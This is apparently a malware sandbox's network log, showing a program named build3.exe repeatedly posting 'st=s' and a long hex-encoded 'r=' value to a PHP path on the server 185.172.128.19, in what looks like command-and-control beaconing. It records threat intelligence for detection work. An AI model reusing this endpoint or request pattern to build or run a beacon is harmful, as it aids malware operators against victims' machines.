Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
243	192.168.2.4	50078	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:37.942500114 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:38.234437943 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
244	192.168.2.4	50079	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:38.569160938 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:38.864237070 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
245	192.168.2.4	50082	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:39.282783031 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:39.574656963 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
246	192.168.2.4	50083	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:39.869736910 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:40.164038897 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
247	192.168.2.4	50085	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:40.577899933 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:40.865658998 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
248	192.168.2.4	50086	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:41.156860113 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:41.447768927 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
249	192.168.2.4	50089	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:41.845339060 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:42.133116007 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
250	192.168.2.4	50090	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:42.424690008 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:42.720196962 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
251	192.168.2.4	50091	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:43.124696970 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:43.412550926 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:38:43.417929888 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:43.706985950 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
252	192.168.2.4	50092	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:44.114367962 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:44.406017065 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
253	192.168.2.4	50094	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:44.703528881 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:44.996838093 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
254	192.168.2.4	50095	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:45.397473097 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:45.692044973 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
255	192.168.2.4	50096	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:45.986149073 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:46.278462887 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
256	192.168.2.4	50098	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:46.672214031 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:46.961616039 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
257	192.168.2.4	50101	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:47.263803005 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:47.578723907 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
258	192.168.2.4	50103	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:47.988650084 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:48.280891895 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
259	192.168.2.4	50107	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:48.613280058 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:48.907236099 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
260	192.168.2.4	50108	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:49.324738979 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:49.612740040 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
261	192.168.2.4	50109	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:49.950373888 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:50.243587017 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
262	192.168.2.4	50111	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:50.660238981 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:50.951591015 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130
Dec 20, 2023 15:38:50.954641104 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:51.247761011 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
263	192.168.2.4	50114	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:51.659322977 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:51.954292059 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
264	192.168.2.4	50115	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:52.316142082 CET	308	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 46 43 38 32 32 30 37 32 34 43 45 44 43 43 46 32 36 35 32 38 30 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 30 34 44 43 45 46 42 31 35 41 31 44 43 45 41 46 34 41 43 38 33 33 30 43 33 31 34 30 32 30 42 34 42 35 43 39 33 39 42 31 36 39 46 35 42 32 42 36 44 43 36 41 39 35 35 32 35 38 45 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7FC8220724CEDCCF265280BD66259586F0F21EA74869AC58983B504DCEFB15A1DCEAF4AC8330C314020B4B5C939B169F5B2B6DC6A955258E
Dec 20, 2023 15:38:52.610434055 CET	195	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
265	192.168.2.4	50119	185.172.128.19	80	7352	C:\Users\user\Desktop\a\build3.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2023 15:38:53.042054892 CET	156	OUT	POST /ghsdh39s/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 20, 2023 15:38:53.335484028 CET	190	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Dec 2023 14:38:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 0d 0a 33 0d 0a 30 0d 0a 0d 0a Data Ascii: 130

